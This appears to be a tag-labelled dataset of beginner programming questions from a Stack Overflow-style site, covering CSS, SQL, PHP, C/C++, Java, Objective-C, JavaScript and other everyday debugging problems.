adding css file <pre><code>laravel 4.2: my demo project in ytform when i try to add css file (style.css) from public folder having another folder  css folder. try to get any class its not working .  in view: i have an other folder  name layouts and i am accessing here css file but not working  </code></pre>   where in master.blade.php    <pre><code>&lt;head&gt;     @section( head )     &lt;meta charset= utf-8 &gt;     &lt;!-- latest compiled and minified css --&gt; &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css &gt; &lt;link rel= stylesheet  type= text/css  href= /css/style.css &gt;     @show  &lt;/head&gt; </code></pre>   i try with given both ways but in vain  css file not supporting in any view folder files how add css files    <pre><code>    &lt;link rel= stylesheet  type= text/css  href= /css/style.css &gt;      {{html::style( css/style.css )}}  any solution or mistake   </code></pre>,php
mysql search optimization with hex function  i have a innodb table and need to search in a varchar column but searching is very very slow. i cannot add a fulltext index :( and myisam is not an option.    some guys gave me advice to use hex like the code below. is that right  does it perform better  i don t see any progress in my application.   <pre> select * from order_line where hex(description) like  %6b616c6b7a616e64737465656e%  </pre>,mysql
why are those two  auto boxing  statements giving different results   looking at the following  why is c_obj not of class __nscfboolean even though b_obj is   the only difference between b and c is the negation operator.  i  <pre><code>bool a = ![[nsnumber numberwithint:1] boolvalue]; id a_obj = @(a); nslog(@ a_obj class: %@   [a_obj class]); // class is __nscfboolean  // this one behaves the same as a id b_obj = @([[nsnumber numberwithint:1] boolvalue]); nslog(@ b_obj class: %@   [b_obj class]); // class is __nscfboolean  // but not this one  even though it is pretty much the same id c_obj = @(![[nsnumber numberwithint:1] boolvalue]); nslog(@ c_obj class: %@   [c_obj class]); // class is __nscfnumber  !  </code></pre>   thanks in advance!    edit :    if i cast to bool  it fixes the issue.   <pre><code>// a cast  fixes  it id d_obj = @((bool)![[nsnumber numberwithint:1] boolvalue]); nslog(@ d_obj class: %@   [d_obj class]); // class is __nscfboolean </code></pre>,objective-c
how do i get default.aspx working  my isp needs a default.aspx page for my website.  they said rename the index.aspx.    problem is default is a keyword.  if i rename index to default in index.aspx.cs file is gives the default keyword error:   <pre><code>using system; using system.collections.generic; using system.linq; using system.web; using system.web.ui; using system.web.ui.webcontrols;  namespace china {     public partial class default : system.web.ui.page     {         protected void page_load(object sender  eventargs e)         {          }     } } </code></pre>   how to get around it.  any idea.    regards tea,asp.net
unable to add data to new column after rails migration  i am new to rails and trying to add a column to my existing model.  i run a rails migration command in my terminal to generate the following migration code   <pre><code>class addplatformtoapps &lt; activerecord::migration   def change     add_column :apps  :platform  :string   end end </code></pre>   i run <pre>rake db:migrate</pre> and the field is added to my database.    i updated each of the views that will utilize the new field.  if i add a value into the database manually  i can see the data app.  however  if i try to add or edit existing form data through the app the new column data is not saved.    <strong>before save</strong>    <img src= https://i.stack.imgur.com/y3xnl.jpg  alt= enter image description here >    <strong>after save</strong>    <img src= https://i.stack.imgur.com/beycr.jpg  alt= enter image description here >    <strong>app params (updated)</strong>   <pre><code>def app_params     params.require(:app).permit(:name  :desc  :in_house) end </code></pre>,ruby-on-rails
how to get current date and time of app installation date in android  i want to get android application installation date in android.but when i run the app getting nullpointerexception.can someone help me.    here is my code     <pre><code>public void oncreate(bundle savedinstancestate)      {         super.oncreate(savedinstancestate);         setcontentview(r.layout.registration_details);          try          {        long installed =                   context.getpackagemanager().getpackageinfo( package.com.sqlitedemo                              packagemanager.get_meta_data).firstinstalltime;                  log.e( installed  =         + installed);         }         catch (namenotfoundexception e)          {             // todo auto-generated catch block             e.printstacktrace();         } } </code></pre>   here is my log cat error   <pre><code>08-06 11:40:34.758: e/androidruntime(335): fatal exception: main 08-06 11:40:34.758: e/androidruntime(335): java.lang.runtimeexception: unable to start activity componentinfo{com.sqlitedemo/com.sqlitedemo.registration_form}: java.lang.nullpointerexception 08-06 11:40:34.758: e/androidruntime(335):  at android.app.activitythread.performlaunchactivity(activitythread.java:1647) 08-06 11:40:34.758: e/androidruntime(335):  at android.app.activitythread.handlelaunchactivity(activitythread.java:1663) 08-06 11:40:34.758: e/androidruntime(335):  at android.app.activitythread.access$1500(activitythread.java:117) 08-06 11:40:34.758: e/androidruntime(335):  at android.app.activitythread$h.handlemessage(activitythread.java:931) 08-06 11:40:34.758: e/androidruntime(335):  at android.os.handler.dispatchmessage(handler.java:99) 08-06 11:40:34.758: e/androidruntime(335):  at android.os.looper.loop(looper.java:123) 08-06 11:40:34.758: e/androidruntime(335):  at android.app.activitythread.main(activitythread.java:3683) 08-06 11:40:34.758: e/androidruntime(335):  at java.lang.reflect.method.invokenative(native method) 08-06 11:40:34.758: e/androidruntime(335):  at java.lang.reflect.method.invoke(method.java:507) 08-06 11:40:34.758: e/androidruntime(335):  at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:839) 08-06 11:40:34.758: e/androidruntime(335):  at com.android.internal.os.zygoteinit.main(zygoteinit.java:597) 08-06 11:40:34.758: e/androidruntime(335):  at dalvik.system.nativestart.main(native method) 08-06 11:40:34.758: e/androidruntime(335): caused by: java.lang.nullpointerexception 08-06 11:40:34.758: e/androidruntime(335):  at com.sqlitedemo.registration_form.oncreate(registration_form.java:61) 08-06 11:40:34.758: e/androidruntime(335):  at android.app.instrumentation.callactivityoncreate(instrumentation.java:1047) 08-06 11:40:34.758: e/androidruntime(335):  at android.app.activitythread.performlaunchactivity(activitythread.java:1611) 08-06 11:40:34.758: e/androidruntime(335):  ... 11 more </code></pre>   thanks to appreciate.,android
cleaner way to write this sort function  i cant think of a cleaner way to write this function - i wanted to have a ternary which switched the > depending on whether the type of ascending or decending however you can not seem to do that .  obviously repeating myself and and know this is not good but cant think of another way at moment.   <pre><code>name: ((studies  type) =&gt; {     let sortedstudies = studies;     if (type ===  ascending ) {       sortedstudies = studies.sort((a  b) =&gt; {        let namea = a.name.touppercase();        let nameb = b.name.touppercase();         if (namea &lt; nameb) {           return -1;         }         if (namea &gt; nameb) {           return 1;         }         return 0;       });     } else {       sortedstudies = studies.sort((a  b) =&gt; {        let namea = a.name.touppercase();        let nameb = b.name.touppercase();         if (namea &gt; nameb) {           return -1;         }         if (namea &lt; nameb) {           return 1;         }         return 0;       });     }     return sortedstudies   }) </code></pre>,javascript
unable to understand the last step in this code  <em>function for constructing a tree from  inorder and preorder</em>   <pre><code>struct treenode * construct(struct listnode *inptr struct listnode * preptr  int num) {         struct treenode *temp;     struct listnode *q;     int i j;     if(num==0)     return null;     temp=(struct treenode *)malloc(sizeof(struct treenode));     temp-&gt;info=preptr-&gt;info;     temp-&gt;left=null;     temp-&gt;right=null;     if(num==1)/*if only one node  in tree*/     return temp;     q=inptr;     for(i=q;q-&gt;info!=preptr-&gt;info;i++) q=q-&gt;next;     /*now q points to root node in inorder list and the number of nodes in its left tree is i*/     /*for left subtree*/     temp-&gt;lchild=construct(inptr preptr-&gt;next i);     /*for right subtree*/     for(j=1;j&lt;=i+1;j++) preptr=preptr-&gt;next;     temp-&gt;rchild=construct(q-&gt;next preptr num-i-1);//unbale to understand this step as after node g construction value of i and num would be same this would result in -1     return temp; }/*end of construct */ </code></pre>   <strong>question:</strong> i can not understand what do we want to achieve by <code>temp-&gt;rchild=construct(q-&gt;next preptr num-i-1);</code>,c++
speedier alternative to substring() in mysql   i have a query that uses <code>substring()</code> as a criteria:   <pre><code>select p.name p_name  pa.line1 p_line1  pa.zip p_zip  c.name c_name  ca.line1 c_line1  ca.zip c_zip from bank b join import_bundle ib on ib.bank_id = b.id join generic_import gi on gi.import_bundle_id = ib.id join account_import ai on ai.generic_import_id = gi.id join account a on a.account_import_id = ai.id join account_address aa on aa.account_id = a.id join address ca on aa.address_id = ca.id join address pa on pa.zip = ca.zip or (pa.zip = ca.zip and pa.line1 = ca.line1) join prospect p on p.address_id = pa.id join customer c on a.customer_id = c.id where b.name =  m  and ib.active = 1 and gi.active = 1 and substring(p.name  1  12) = substring(c.name  1  12) limit 100 </code></pre>   as you can see  it s just comparing the first 12 characters of <code>p.name</code> and <code>c.name</code>. unfortunately  adding this query to the <code>where</code> clause makes my query unbearably slow. are there any tricks out there to do this same comparison  or is my best bet to add another column to each table that contains the first 12 characters of the customer s name  i hope it s not the latter because that would be a lot of work and i ll ultimately be doing several comparisons like this.,mysql
overriding equals operator  i am trying to override equals so that it compares based on a variable id:   <pre><code>public class orderid {     public string id { get; private set; }      public orderid(string id)     {         id = id;     }      public override bool equals(object obj)     {         if (obj is orderid)         {             return ((orderid)obj).id == id;         }         else return false;     }      public override string tostring()     {         return id;     } } </code></pre>   however when i test this in the following manner it returns false:   <pre><code>static void main(string[] args) {      orderid i1 = new orderid( hello );     orderid i2 = new orderid( hello );      bool test = i1 == i2;      console.writeline(test.tostring());     console.readkey(); } </code></pre>   what is the problem  when i try to step through it  my override is not even stepped into.,c#
how to make an empty link   i have some clickable buttons that i made show/hide some div tags  and they work  but how do i make the cursor change so they look clickable  i was thinking either an html link that goes nowhere for cosmetic purposes or some sort of cursor change tag. can i just type   <pre><code>&lt;a href= .. &gt;&lt;/a&gt; </code></pre>,html
css stretched background image  i have a large image to be use as a <code>background-image</code> of a page. what i want is that the height of the image will be stretched to fill the height of the page. it should be centered also.   <pre><code>background: black url( /image/background.jpg ) no-repeat fixed center; </code></pre>,css
sql - selecting in three steps  i am a completely newbie in sql. i would really apreciate your help in solving this problem or simply pointing the proper terms to search by in google.    i have a database like this:   <pre><code>a  b 1  2 1  7 2  3 2  4 3  5 5  8 8  9 10 11 </code></pre>   the user is assumed to inform a specific id for a. i need to build a query that returns columns a and b following a logic that i can only think in three steps. first  return all records where a is equal to id informed by user. in this step  collect all b column values. after that in the second step  use the b column values collected in first step to return all records where column a is equal to these b values already mentioned. again  in this step  collect all b values related to the records returned in the second step. in the third step  the same thing  return all records where a column is equal to the b values collected in the second step.    i know that i was not clear enough. just to give some examples.     if user chooses id = 1  sql returns:   <pre><code>a  b 1  2 1  7 2  3 2  4 3  5 </code></pre>   if user chooses id=2  sql returns:   <pre><code>a  b 2  3 2  4 3  5 5  8 </code></pre>   if user chooses id=3  sql returns:   <pre><code>a  b 3  5 5  8 8  9 </code></pre>   thanks in advance!,sql
text underneath text input  i have this css <a href= http://jsfiddle.net/thiswolf/3gyy4/  rel= nofollow noreferrer >http://jsfiddle.net/thiswolf/3gyy4/</a> and beneath each text input i want to have some text which i can use to have some guiding text about that text input like    <img src= https://i.stack.imgur.com/vciz2.png  alt= enter image description here >    my current html and css looks like this   <pre><code>&lt;!doctype html&gt; &lt;head&gt; &lt;title&gt;lorem ipsum text below form&lt;/title&gt; &lt;meta charset= utf-8  /&gt; &lt;style type= text/css &gt; .zseform{ width:300px; background-color:#e6e6fa; } label{ width:15%; float:left; } p{ background-color:#b0c4de; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt; &lt;label&gt;logo&lt;/label&gt;&lt;input class= zseform  type= text  /&gt; &lt;/p&gt; &lt;p&gt; &lt;label&gt;city&lt;/label&gt;&lt;input class= zseform  type= text  /&gt; &lt;/p&gt; &lt;p&gt; &lt;label&gt;address&lt;/label&gt;&lt;input class= zseform  type= text  /&gt; &lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
sql display the tid and total number of items sold  <a href= https://i.stack.imgur.com/ppmi3.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ppmi3.jpg  alt= enter image description here ></a>q:display the tid and the total number of items (of all products) sold within the transaction for all sales transactions whose total number of items (of all products sold within the transaction is greater than five.    i ve tried multiple times  but what i end up doing is adding together the individual purchases rather than the item purchases combined.,sql
how to most effectively combine functions including checkprime <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt; #define false 0 #define true 1 ...................... int checkprime ( char number ) {     int i  valid;     valid = true;      for ( i = 2; i &lt;= number; i++ )     {         if ( number % i == 0 ) valid = false;     }      return valid;  }  int main(void)  {     char inputarray[4];     int c  primeanswer;     ........................     {         primeanswer = checkprime(c);          if ( primeanswer == 1)         {             printf( %d    is a prime   inputarray);         }         else         {             printf( %d    not prime   inputarray);         }     } }     </code></pre>   my issue here is trying to get the checkprime function working. i think i m probably not initialising something as the numbers i m getting seem to me like the program output isn t correct. also when i do enter data for checkprime the numbers to me seem like uninitialised int values. and that the other functions don t seem to be called.    what is it that i am not initialising  how can i combine the checkprime function more effectively with the others  is it necessary to switch between char/int values as i ve done in the functions     edit:   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt; #include &lt;stdlib.h&gt; #define false 0 #define true 1  ................ } int checkprime ( int number ) { int i  valid; valid = true;  for ( i = 2; i &lt; number; i++ )     {         if ( number % i == 0 ) valid = false;     }          return valid;  }  int main(void)  { char inputarray[4]; int c  primeanswer; .........................  else   {  c = atoi(inputarray);  primeanswer = checkprime(c);  if ( primeanswer == 1) {     printf( %d    is a prime   inputarray); } else {     printf( %d    not prime   inputarray); } } } </code></pre>,c
why not specify every varchar as varchar (65535)   since the storage requirements for a varchar field are based on the actual length of the string entered  what would be the downside of specifying every varchar field as the max possible:  varchar (65535)   well  aside from 1 extra byte for max fields > 255 characters     [storage reqts for strings of length l: l + 1 bytes if column values require 0 – 255 bytes  l + 2 bytes if values may require more than 255 bytes]    thank you!,mysql
unresolved external...  when trying to build a class with cpp  today i downloaded the new version of visual studio  and i tried to build a class:   <pre><code>class fraction { public:     fraction(int  int);   private:     int _a;     int _b; }; </code></pre>   i also built a cpp file for the implementation:   <pre><code>#pragma once #include  fraction.h  #include &lt;string&gt;    fraction::fraction(int a  int b) {      _a = a;     _b = b; } </code></pre>   the header file (thc class) is in file called  franctions.h  and found in the header files directory. the cpp file (thc class) is in file called  franctions.cpp  and found in the resource files directory.    when im trying to run this simple program  i get this issue: severity    code    description project file    line    suppression state   <pre><code>error   lnk2019 unresolved external symbol  public: __thiscall fraction::fraction(int int)  (  0fraction@@qae@hh@z) referenced in function _main    homework2   c:\users\vvv\documents\visual studio 2017\projects\homework2\homework2\questiona.obj    1    </code></pre>   why can it be happening     edit: main:   <pre><code>#include  fraction.h   int main() {     fraction f1(1  2);     return 0;  } </code></pre>,c++
display unlisted value in select with ng-options  i have a <code>&lt;select&gt;</code> element populated with the acceptable values via <code>ng-options</code> and bound to a model with <code>ng-model</code>. it is possible that the model is set to a value that is not acceptable. (it used to be acceptable but no longer is.) in this case angularjs renders the <code>&lt;select&gt;</code> as if it had an empty item selected.    is there a way to have it render the selected value even if it is not listed in <code>ng-options</code>  i know i can put a default <code>&lt;option&gt;</code> inside the <code>&lt;select&gt;</code>. it s better than displaying an empty item  but it s a static string. i d like to have the invalid <em>value</em> displayed.,angularjs
reading and parsing a text file using c++  i m having trouble understanding how to read the lines of a text file  and then breaking each line into integers and strings. here is what my read.txt looks like:   <pre><code>id   name  1234 name1 id   name   5678 name2  9101 name3 id   name  1121 name4  3141 name5 </code></pre>   i skip the header  id    name  by checking each line for that string.    <strong>edit</strong> (i changed my code to this and the values seem to be getting stored).   <pre><code>ofstream write2 ( write2.txt ); ifstream infile ( read.txt ); string header =  id   name ; string strval; string str; int intval; vector &lt;int&gt; id; vector &lt;string&gt; name;  if ( infile.is_open() ) {     while ( !infile.eof() )     {         getline(infile  str);         istringstream ssin(str);          ssin &gt;&gt; intval &gt;&gt; strval;         id.push_back(intval);         name.push_back(strval);      } }  for ( int i = 0; i &lt; (int)id.size(); i++ )     cout &lt;&lt; endl &lt;&lt; name[i] &lt;&lt;  \t  &lt;&lt; id[i] &lt;&lt; endl; </code></pre>   the values are being stored in my vectors now  but i do not completely understand why the stringstream works the way it does.,c++
javax.mail.messagingexception: 530 5.7.57 smtp; client was not authenticated to send anonymous mail during mail from  i have java program(copied from google) to send emails using office365 smtp  it is working fine as a stand java program but when i deploy this java program as jar file in web-inf/lib of a web application and calling the method from jsp it is throwing the below error:  javax.mail.sendfailedexception: sending failed;   nested exception is:      javax.mail.messagingexception: 530 5.7.57 smtp; client was not authenticated to send anonymous mail during mail from    can someone please share their views on this issue.     the java code :   <pre><code>import java.util.properties;  import javax.mail.message; import javax.mail.messagingexception; import javax.mail.passwordauthentication; import javax.mail.session; import javax.mail.transport; import javax.mail.internet.internetaddress; import javax.mail.internet.mimemessage;  import org.apache.log4j.logger;  public class sendemailusingsmtp {      public static boolean sendemail(string toaddress  string fromaddress  string username  string userpassword string smtphost  string portnumber  string emailsubject string emailbody) {       // recipient s email id needs to be mentioned.         logger log = logger.getlogger(sendemailusingsmtp.class);        log.info( toaddress :  +toaddress);        log.info( fromaddress :  +fromaddress);        log.info( username :  +username);        log.info( userpassword :  +userpassword);        log.info( smtphost :  +smtphost);        log.info( portnumber :  +portnumber);        log.info( emailsubject :  +emailsubject);        log.info( emailbody :  +emailbody);         string to = toaddress;        // sender s email id needs to be mentioned       string from = fromaddress;//change accordingly       final string username = username;//change accordingly       final string password = userpassword;//change accordingly        // assuming you are sending email through relay.jangosmtp.net       string host = smtphost;        properties props = new properties();        props.put( mail.smtp.auth    true );       props.put( mail.smtp.socketfactory.fallback    false );       props.put( mail.smtp.starttls.enable    true );       props.put( mail.smtp.socketfactory.port   portnumber);       props.put( mail.smtp.host   host);       props.put( mail.smtp.port   portnumber);        // get the session object.       smtpauthenticator authenticator = new smtpauthenticator(username  password);       props.put( mail.smtp.submitter   authenticator.getpasswordauthentication().getusername());       session session = session.getinstance(props  authenticator);         try {          // create a default mimemessage object.          message message = new mimemessage(session);           // set from: header field of the header.          message.setfrom(new internetaddress(from));           // set to: header field of the header.          message.setrecipients(message.recipienttype.to           internetaddress.parse(to));           // set subject: header field          message.setsubject(emailsubject);           // now set the actual message          message.settext(emailbody);           // send message          transport.send(message);           system.out.println( sent message successfully.... );        } catch (messagingexception e) {             throw new runtimeexception(e);       }     return true;    } } </code></pre>,java
odp.net dll issue in .net core app2 web application  i am trying to use odp.net dll(oracle.dataaccess.dll &amp; oracle.manageddataaccess) in asp.net core app to but it is giving dependencies warning as oracle.dataaccess is trying to restore using .net framework 4.6.1 instead of .net core app2 i have tried with targeting multiple frame works also but issue was not resolved.,.net
problems with array statement  hello friends my problem with statement two string   <pre><code>$i=0; $arr[ lam ] = preg_replace( /\s+/    d   $arr[ lam ]);  print_r($arr); ///array ( [id] =&gt; 123 [lam] =&gt; d )  echo  _ .$arr[ lam ]. _ ; ///_d_ if($arr[ lam ]!= d ){ $i++; } echo $i; //1 </code></pre>   why $i==1,php
udp client receiving a text file  i am trying to receive a text file over a udp socket  the client builds fine but gives a blank console  after some experimentation i ve found out that the problem lies with the reception  so i am posting that part of my code:   <pre><code>size_t data=0; if(data=recvfrom( sd  file_buffer  sizeof(file_buffer)  0                   (struct sockaddr *) &amp;server  &amp;server_length) &lt; 0) {   printf( error receiving file. );   exit(1); }  if(data==sizeof(file_buffer)) {   printf( received data:[%s]  file_buffer); } </code></pre>,c
php session html table carrying issue  i am adding items to my cart.php using an add in the url.    <pre><code>    case  add : if (isset($_session[ cart ][$comic_id])) { $_session[ cart ][$comic_id]++; } else { $_session[ cart ][$comic_id] = 1;} </code></pre>   ... my items are presented into an html table in the cart.php. i just want to then re-call specific variables from the array in the checkout.php so the customer can confirm the order total along with their personal details.     i can only seem to carry the last added item/row over using session variable when i use the following:   <pre><code>$_session[ totalnameqty ]=$name .     . $qty .     . $cost; </code></pre>   ...and then use an echo on the checkout.php page:   <pre><code>$totnamqty=$_session[ totnamqty ]; echo $totnamqty; </code></pre>   ... i want to carry all items $name  $qty &amp; $cost added to the html table in the cart.php to the checkout.php not just 1 item/row. unsure of how to do this or if it is possible. can somebody help     here is my cart.php:   <pre><code>if (isset($_session[ cart ][$comic_id])){      echo  &lt;table border=\ 0\  padding=\ 10\  width=\ 80%\ &gt; ;     echo  &lt;td colspan=\ 1\  align=\ left\ &gt;&lt;a href=\ title.php\ &gt;continue shopping&lt;/a&gt;&lt;/div&gt; ;     echo  &lt;td colspan=\ 6\  align=\ right\ &gt;&lt;a href=\ $_server[php_self] action=empty\  onclick=\ return confirm( crystal fusion: are you sure you wish to empty your cart  );\ &gt;empty cart&lt;/a&gt;&lt;/td&gt; ;                       echo  &lt;tr height=\ 20px\ &gt; ;     echo  &lt;tr height=\ 20px\ &gt; ;      echo  &lt;td align=center&gt;image&lt;/td&gt;&lt;td align=center&gt;title&lt;/td&gt;&lt;td align=center&gt;description&lt;/td&gt;&lt;td colspan=3 align=center&gt;copies (+/-)&lt;/td&gt;&lt;td align=center&gt;price&lt;/td&gt; ;     echo  &lt;tr height=\ 20px\ &gt; ;       foreach($_session[ cart ] as $comic_id =&gt; $qty) {             $sql = sprintf( select title  description  cost  image_thumbnail                 from comic                  where comic_id = %d;  $comic_id);           $result = mysql_query($sql);          if(mysql_num_rows($result) &gt; 0) {              list($name  $description  $price  $image_thumbnail) = mysql_fetch_row($result);               $cost = $price * $qty;              $total = $total + $cost;               $cost = number_format($cost 2);              $total = number_format($total 2);              $description =  substr($description  0  250);               echo  &lt;br&gt;&lt;tr&gt; ;             echo  &lt;td width=\ 10px\  align=\ center\ &gt;&lt;img height=100 align=center src=\ $image_thumbnail\ &gt; ;             echo  &lt;td align=\ center\ &gt;$name&lt;/td&gt; ;             echo  &lt;td width=\ 40%\  align=\ center\ &gt;$description...&lt;a href=comic_dyn.php comic_id=$comic_id&gt;more info&lt;/td&gt; ;             echo  &lt;td width=\ 30px\  align=\ center\ &gt;&lt;a href=\ $_server[php_self] action=add&amp;comic_id=$comic_id\ &gt;+&lt;br&gt;&lt;/a&gt;&lt;td align=\ center\ &gt;$qty &lt;td width=\ 20px\  align=\ center\ &gt;&lt;a href=\ $_server[php_self] action=remove&amp;comic_id=$comic_id\ &gt;-&lt;/a&gt;&lt;/td&gt; ;             echo  &lt;td align=\ right\ &gt;$$cost&lt;/td&gt; ;             echo  &lt;/tr&gt; ;                    }      }      echo  &lt;br&gt;&lt;tr&gt;&lt;tr height=100px&gt; ;     echo  &lt;td&gt;&lt;td&gt;&lt;td colspan=\ 4\  align=\ right\ &gt;total:&lt;/td&gt; ;     echo  &lt;td width=\ 60px\  align=\ right\ &gt;$$total&lt;/td&gt; ;      echo  &lt;tr&gt;&lt;td colspan=\ 7\  align=\ right\ &gt;&lt;a href=\ checkout_html.php\ &gt;proceed to checkout&lt;/a&gt; ;      echo  &lt;tr height=\ 50px\ &gt; ;     echo  &lt;/table&gt; ; }else{      echo  your cart is currently empty. ;      echo  &lt;br&gt;&lt;br&gt;&lt;td colspan=\ 1\  align=\ left\ &gt;&lt;a href=\ title.php\ &gt;continue shopping&lt;/a&gt;&lt;/div&gt; ;   }  //session variables (to be carried to checkout.php $_session[ cost ]=$cost; $_session[ name ]=$name; $_session[ qty ]=$qty; $_session[ totnamqty ]=$name .     . $qty .     . $cost; </code></pre>,php
objective-c and use of sel/imp  another question of mine about <a href= https://stackoverflow.com/questions/2534990/objective-c-optimization >optimizing objective c programs</a> inspired the following: does anyone have a short example using sel and imp when themethod has two (or more) integers for input,objective-c
how do i copy rows from one table to another in sql   i have been trying to copy the data listed in one table to another that are both located in the same database.  however  every time i have everything entered  it runs the query and says 0 rows updated.    i have tried several variations in an attempt to get this to work.  one such attempt is as listed below.  i found this while researching in an attempt to get this done.     <pre><code>update       t1 set       t1.column = t2.column from       table1 t1       inner join table2 t2       on t1.id = t2.id; </code></pre>   any help on this would be greatly appreciated.,sql
how can my code react to unexpected inputs in c++   newbe so please don t be to harsh  i ll try to explain my problem as well as possible.    i have a longer code  that receives 0  1  or n  arguments as input. these inputs are supposed to be strings  however if i run my program like this: ./task2 ^!..;: i simply get: bash: !..: event not found    how can i prevent this error  and just print an error message     this is task2.cpp   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;algorithm&gt; #include &lt;vector&gt; #include &lt;array&gt; #include &lt;functional&gt; #include &lt;math.h&gt; #include &lt;stdint.h&gt;  using namespace std;  /// build suffix array from text. /// input is an emtpy suffix array and the text. /// output is a suffix array (sorted). void construct(std::vector&lt;uint32_t&gt;&amp; sa  const std::string&amp; text) {     if(text.empty()) {         cout &lt;&lt;  text is empty  &lt;&lt; endl;         return;     }      if (sa.size()!=0) {         sa.clear();     }      for (uint32_t a = 0; a&lt;text.length(); ++a) {         sa.push_back(a);     }      sort(sa.begin() sa.end() [&amp;text] (uint32_t s1  uint32_t s2) {     return(text.substr(s1)&lt;=text.substr(s2));     });     return; }   //wir brauchen kein $ am ende unseres strings  da wir keinen suffixbaum aufbauen und wir somit nicht das problem haben //werden  dass ein suffix ein prefix eines aderen suffix ist.   /// search for a  query  string in a suffix array  sa  build from  text . /// results are returned in  hits .  void findmlr(uint32_t&amp; mlr  const uint32_t l  const uint32_t r  const std::string&amp; query  const std::vector&lt;uint32_t&gt;&amp; sa  const std::string&amp; text) {     uint32_t mlrl = mlr;     uint32_t mlrr = mlr;       /* for l */     for(uint32_t l = mlr; l&lt;query.size(); ++l) {         if (query[mlr] == text[sa[l]+mlrl]) {             mlrl+=1;         }         else{             break;         }     }      /* for r */     for(uint32_t r = mlr; r&lt;query.size(); ++r) {         //cout &lt;&lt; query[mlr] &lt;&lt; text[sa[r]+mlrr] &lt;&lt; endl;         if (query[mlr] == text[sa[r]+mlrr]) {             mlrr+=1;         }         else{             break;         }     }      mlr = min(mlrl mlrr);     return; }   void find(std::vector&lt;uint32_t&gt;&amp; hits  const std::string&amp; query  const std::vector&lt;uint32_t&gt;&amp; sa  const std::string&amp; text){       if(hits.size()!=0) {     hits.clear();     }      if (cin.fail()) {         cin.clear();         cout &lt;&lt;  unexpected input  &lt;&lt; endl;     }      if (text.size()==0) {         cout &lt;&lt;  text is empty ;         return;     }      else if (query.size()==0) {         cout &lt;&lt;  query is empty ;         return;     }       /* finding lp */     uint32_t lp;     if (query &lt;= text.substr(sa[0])){              lp = 0;     }      else if (query &gt; text.substr(sa[text.length()-1])){             lp = text.length();     }      else {          uint32_t l = 0;         uint32_t r = text.length()-1;         uint32_t mlr = 0;         while (r-l &gt; 1) {                   uint32_t m = ceil((l+r)/2);                  findmlr(mlr l r query sa text);                  if (query.substr(mlr) &lt;= (text.substr(sa[m]+mlr))) {                     r = m;                 }                 else {                     l = m;                 }         }         lp = r;     }      for (uint32_t i = lp; i &lt; text.length(); ++i) {         if ((text.substr(sa[i])).substr(0 query.length()) == query) {             if(find(hits.begin()  hits.end()  sa[i]) != hits.end()){                 //do nothing             }              else{             hits.push_back(sa[i]);             }         }         else {              break;         }     }      sort(hits.begin()  hits.end());     return; } </code></pre>   and this is task2_main.cpp   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;algorithm&gt; #include &lt;vector&gt; #include  aufgabe2.hpp  #include &lt;stdint.h&gt; //#include &lt;typeinfo&gt;  using namespace std;  int main(int argc  char* argv[]){  if (argc &lt; 2){     cout &lt;&lt;  not enough arguments were given  &lt;&lt; endl;     return 1;}  if (argc == 2){      vector&lt;uint32_t&gt; sa;     string input_string(argv[1]);     construct(sa input_string);      for(uint32_t i = 0; i&lt;input_string.length(); ++i) {         cout &lt;&lt; sa[i] &lt;&lt; endl;     }      return 0;     }  if (argc &gt; 2){     vector&lt;uint32_t&gt; hits;     string text(argv[1]);     vector&lt;uint32_t&gt; sa;      if (sa.size() != 0) {         sa.clear();     }     if (hits.size() != 0) {         hits.clear();     }      int z;     z = 2;         while(z &lt; argc){             /*             if(typeid(argv[z])!=typeid(text)) {                 cout &lt;&lt; typeid(text).name() &lt;&lt; z &lt;&lt;   is not of type string  &lt;&lt; endl;             }             */              if (sa.size()!=0) {             sa.clear();             }                   for (int unsigned a = 0; a&lt;text.length(); ++a)                 {                 sa.push_back(a);                 }                 sort(sa.begin() sa.end() [&amp;text] (uint32_t s1  uint32_t s2) {                 return(text.substr(s1)&lt;=text.substr(s2));                 });              string query(argv[z]);             string input_string(argv[1]);              if (query.size() == 0) {                 //do nothing             }             else if (input_string.size() == 0) {                 //do nothing             }             else {             cout &lt;&lt; (argv[z]) &lt;&lt;  : ;             }              find(hits query sa input_string);                  for (uint32_t i = 0; i &lt; hits.size(); ++i) {                 cout &lt;&lt;     &lt;&lt; hits[i];                 }              cout &lt;&lt; endl;             ++z;         }     }     return 0; } </code></pre>,c++
jquery s post(): the callback function is not called  i have this line:   <pre><code>$.post( /update   $( form ).serialize()  function(){alert( hello )}); </code></pre>   the problem is the alert is not shown.    this is the response:   <pre><code>request url:http://aib.localhost/update request method:post status code:200 ok  </code></pre>   no errors in chrome inspector.    i m using jquery 1.6.4.,jquery
0xfffffffful as (signed) long: ub  impl-defined or just ok   will this code print -1 on all sane (e.g. 2-s complement arithmetic) 32-bit machines  -1 on llp64 (i.e. 64-bit windows  where long is 32-bit) and 4 gig on all 64-bit unix os:es (i.e. on lp64 os:es):   <pre><code>#include &lt;iostream&gt;  using std::cout;  int main() {     long li = 0xfffffffful;      cout &lt;&lt;  size of li:   &lt;&lt; sizeof(li) &lt;&lt;    li:   &lt;&lt; li &lt;&lt;  \n ; } </code></pre>   normally i use well-defined size for relevant variables  and std::numeric_limits instead of  ul  numeric constants. so i would write something like   <pre><code>const uint32_t max_interval = std::numeric_limits&lt;uint32_t&gt;::max();  const int64_t some_var = max_interval; </code></pre>,c++
making all variables accessible to namespace  say i have a simple function:   <pre><code>def myfunc():     a = 4.2     b = 5.5     ... many similar variables ... </code></pre>   i use this function one time only and i am wondering what is the easiest way to make all the variables inside the function accessible to my main name-space.     do i have to declare global for each item  or any other suggested methods     thanks.,python
